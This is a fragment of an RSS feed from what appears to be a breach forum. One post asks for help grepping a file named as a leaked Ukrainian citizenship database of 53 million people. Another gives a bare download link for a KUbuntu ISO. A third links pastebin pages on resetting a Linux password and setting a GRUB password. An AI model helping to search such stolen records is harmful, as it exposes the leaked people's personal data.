strings BreachedDataUkraine53MCitizenshipDatabase.txt | grep 1990<br />
Only shows numbers<br />
<br />
Any help are appreciated <img src="https://external-content.duckduckgo.com/iu/?u=https%3A%2F%2Fpwnforums.st%2Fimages%2Fsmilies%2Fsmile.png" alt="Smile" title="Smile" class="smilie smilie_1" />]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[KUbuntu ISO for T2 Mac]]></title>
			<link>https://pwnforums.st/Thread-KUbuntu-ISO-for-T2-Mac</link>
			<pubDate>Mon, 13 Nov 2023 23:35:08 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://pwnforums.st/member.php?action=profile&uid=67185">Gasstationbonerpills</a>]]></dc:creator>
			<guid isPermaLink="false">https://pwnforums.st/Thread-KUbuntu-ISO-for-T2-Mac</guid>
			<description><![CDATA[<a href="https://gofile.io/d/UUg01h" target="_blank" rel="noopener" class="mycode_url">https://gofile.io/d/UUg01h</a>]]></description>
			<content:encoded><![CDATA[<a href="https://gofile.io/d/UUg01h" target="_blank" rel="noopener" class="mycode_url">https://gofile.io/d/UUg01h</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Linux Hardening]]></title>
			<link>https://pwnforums.st/Thread-Linux-Hardening</link>
			<pubDate>Fri, 29 Sep 2023 01:06:11 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://pwnforums.st/member.php?action=profile&uid=34461">IamZ</a>]]></dc:creator>
			<guid isPermaLink="false">https://pwnforums.st/Thread-Linux-Hardening</guid>
			<description><![CDATA[Today, I decided to check how vulnerable my computer was. I wanted to test the physical security of it. I use Linux (doesn't matter what Linux I use) and there are methods if you were to forget your password, to reset it. Below are some steps how you can do so.<br />
<br />
<div class="codeblock"><div class="body" dir="ltr"><code>https://pastebin.com/raw/s2wSBuxS</code></div></div><br />
How to secure your system to avoid this from happening?<br />
<br />
You can either 1) Encrypt the entire system with veracrypt (if it allows you because I couldn't do it) or 2) configure GRUB password authentication. I will be showing you how to configure GRUB password.<br />
<br />
<div class="codeblock"><div class="body" dir="ltr"><code>https://pastebin.com/raw/mb6324Vi</code></div></div>]]></description>
			<content:encoded><![CDATA[Today, I decided to check how vulnerable my computer was. I wanted to test the physical security of it. I use Linux (doesn't matter what Linux I use) and there are methods if you were to forget your password, to reset it. Below are some steps how you can do so.<br />
<br />
<div class="codeblock"><div class="body" dir="ltr"><code>https://pastebin.com/raw/s2wSBuxS</code></div></div><br />
How to secure your system to avoid this from happening?<br />
<br />
You can either 1) Encrypt the entire system with veracrypt (if it allows you because I couldn't do it) or 2) configure GRUB password authentication. I will be showing you how to configure GRUB password.<br />
<br />
<div class="codeblock"><div class="body" dir="ltr"><code>https://pastebin.com/raw/mb6324Vi</code></div></div>]]></content:encoded>
		</item>
	</channel>
</rss>